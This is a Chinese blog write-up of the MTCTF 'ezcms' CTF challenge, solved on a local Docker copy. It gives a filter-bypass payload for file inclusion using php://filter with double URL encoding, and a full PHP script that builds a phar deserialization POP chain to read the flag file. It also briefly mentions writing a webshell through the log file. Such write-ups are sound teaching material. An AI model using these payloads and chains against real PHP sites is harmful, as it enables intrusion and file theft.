R1gelX`Blog

22 object(s)
 

MTCTF-EZcms

一篇来的比较晚的wp,美团CTF的ezcms,算是一道比较有难度的题目。考点,302跳转,伪协议,popchain,phar反序列化


预期解

环境搭建

出题人将docker镜像上传了,我们可以直接本地搭建复现

docker pull y4tacker/ez_yxcms:1.0
docker run --name="ezcms" -p 32102:80 -d y4tacker/ez_yxcms:1.0

由于镜像的flag为空,所以这里我自己添加一个flag

echo 'flag{test!}' > /flagg

信息收集

访问 localhost:32102 ,需要登录
尝试一些常见目录收集信息,在robots.txt 下看到

Disallow: /h1nt.php

访问得到

database_type:sqlite
database_file:db/user.db3

下载数据库文件,得到用户名和密码的md5,解码得到

username = admin888
password = attack

302跳转

登录过程中发现有一些302跳转,其中一个为

/class/showImage.php?file=logo.jpg

猜测存在文件包含

读取源码

去掉logo.jpg再次访问,得到了showImage的源码

<?php

error_reporting(0);
if ($_GET['file']){
    $filename = $_GET['file'];
    if ($filename=='logo.jpg'){
        header("Content-Type:image/png");
        echo file_get_contents("../static/images/logo.jpg");
    }else{
        ini_set('open_basedir','./');
        if ($filename=='hint.php'){
            echo 'nononono!';
        } else{
            if(preg_match('/read|[\x00-\x24\x26-\x2c]| |base|rot|strip|encode|flag|tags|iconv|utf|input|convertstring|lib|crypt|\.\.|\.\//i', $filename)){
                echo "hacker";
            }else{
                include($filename);
            }
        }
    }
}else{
    highlight_file(__FILE__);
}

发现存在hint.php

伪协议读文件,其中许多关键词被过滤,并且过滤了 x00-x24x26-x2c 明显留下来一个x25,url编码的%25即是%,所以直接二次编码绕过读文件,构造如下payload(将e替换为url的二次编码)

?file=php://filter/conv%2565rt.bas%256564-%2564ncod%2565/resource=hint.php

解码得到如下信息

<?php
//以下是class目录结构
/*
- class
    -- cache
    -- templates
        --- api
            - Api.php
        ---admin
            -add_category.php
            -category_list.php
            -edit_category.php
            -admin.php
            -footer.php
            -header.php
            -left.php
        - login.php
        - index.php
        - api.php
    -- auth.php
    -- file_class.php
    -- hint.php
    -- Medoo.php
    -- render_file.php
    -- showImage.php
    -- info.php
*/

根据目录提示,一次读取重要的源码

源码分析

phar反序列化

首先,在admin.php中可以看到如下的内容

<li style="font-size: 20px;">上次登录时间:<?php $a = new renderUtil("",Log,empty($_POST['file'])?"./class/cache/lastTime.txt":$_POST['file']);echo $a;?></li

由此,可以判断,上次登录信息存放在 ./class/cache/lastTime.txt里

然后看renderUtil类,在render_file.php中

   public function __destruct(){
        if (!empty($this->file)){
            $ret = $this->file->open($this->filename,$this->content);
        }
        if (!empty($ret)){
            fileUtil::extractZip($this->filename, $this->content);
        }
    }

该类的__destruct()方法中,调用了fileUtil类

    public static function extractZip($file,$content){
        $zip = new ZipArchive();
        $res = $zip->open($file);
        if ($res){
            $zip->extractTo($content);
        }else{
            echo 'no ZipFile';
        }
        $zip->close();
    }

可以看到这里,如果 $file 是一个归档类文件,那么就会执行 ZipArchive::extractTo() 方法去提取归档文件

这里说一下归档文件,我们熟知的phar文件,就是一种归档文件。PHAR - PHP Archive。

这里的extractTo() 可以使用phar协议去提取phar中的文件,同样也可以触发phar反序列化

pop分析

同时在auth.php中

if( ($user == $username) && (md5($pass) == $password) ) {
        $_SESSION['login'] = 1;
        define("AQ",1);
        $content = ($t==1)?("上次登录时间:".date("Y-m-d h:i:s")):$t;
        $log = new info($content);
        $log->log();
        $data = [
            'code'      =>  0,
            'msg'   =>  'successful'
        ];
    }
    else{
        $data = [
            'code'      =>  -1012,
            'err_msg'   =>  '用户名或密码错误!'
        ];


    }

可以看到 $content内容可控,然后实例化了info类

class info{
    public $logContent;

    public function __construct($lastlogTime=''){
        $this->logContent = $lastlogTime;
    }

    public function log(){
        file_put_contents("./class/cache/lastTime.txt",$this->logContent);
    }



    public function __toString(){
        $tmp = file_get_contents('./class/cache/lastTime.txt');
        return explode(":",$tmp)[1];
    }


}

info类就是把内容和写入日志

所以,日志内容可控,接下来就是找popchain

在 file_class.php 中的 ExportExcel类中 的 __invoke() 方法 存在任意函数调用。

    public function __invoke(){
        if (wudiWaf($this->do)&&wudiWaf($this->filename)){
            ($this->do)($this->filename);
        }

    }

__invoke() 魔术方法,指的是在对象被当作函数调用时触发。

于是我们我们去找满足条件的类 ,直接搜索 )( 发现在 info.php 内的 SuperAdmin 中存在

    public function retFunctionList(){
        $superFunc = ['editprofit','exportExcel','editUser','addUser','delUser','showUser','modify','authority'];
        $comFunc = ['showUser','editprofit','exportExcel'];
        return ($this->isSuperAdmin)()?$superFunc:$comFunc;
    }
    public function __toString(){
        $retData = $this->retFunctionList();
        return implode(",", $retData);
    }

并且可以看到,调用该方法的在该类的__toString() 方法中

同时,可以发现在起上面的UserInfo类中的 __destruct() 方法

    public function retJsonInfo(){
        $data = '["username":"'.$this->username.'","nickname":"'.$this->nickname.'","role":"'.$this->role.'"]';
        return json_encode($data);
    }

    public function __destruct(){
        echo $this->retJsonInfo();
    }

在 retJsonInfo() 里可以触发 toString() 方法

构造payload

UserInfo => SuperAdmin => ExportExcel
UserInfo -> username = new SuperAdmin('a','b')
UserInfo -> isSuperAdmin = new ExportExcel()
<?php
class UserInfo{
    public $username;
    public $nickname;
    public $role;
    public $userFunc;

    public function __construct(){
        $this->username = new SuperAdmin('a','b');

    }
}

class SuperAdmin{
    public $username;
    public $role;
    public $isSuperAdmin;
    public $OwnMember;

    public function __construct($username, $OwnMember, $superAdmin='',$role=''){
        $this->username = $username;
        $this->OwnMember = $OwnMember;
        $this->isSuperAdmin = new ExportExcel('/flagg','xxx','readfile');
        $this->role = $role;
    }
}

class ExportExcel{

    public $filename;
    public $exportname;
    public $do;
    public function __construct($filename, $exportname, $do)
    {
        $this->filename = $filename;
        $this->exportname = $exportname;
        $this->do = $do;
    }
  
}

$phar = new Phar("1.phar");
$phar -> startBuffering();
$phar -> setStub("anyhead"."<?php __HALT_COMPILER(); ?>");//这个参数必须有且必须是这个
$hack = new UserInfo();
$phar -> setMetadata($hack);
$phar -> addFromString("123","123");//用于压缩的文件,前面提到了 phar也是一种压缩流
$phar -> stopBuffering();
$a = file_get_contents('./1.phar');
echo urlencode($a);

image-20210713172544886

image-20210713172553136

成功getflag

非预期

当我在测试日志内容是否写入的时候,我突然想到,既然有包含为什么不直接写shell

image-20210713172557370

于是构造请求

image-20210713172608217

查看是否写入

image-20210713172617221

测试shell

image-20210713172621462

查看根目录

image-20210713172625418

getflag!

image-20210713172628887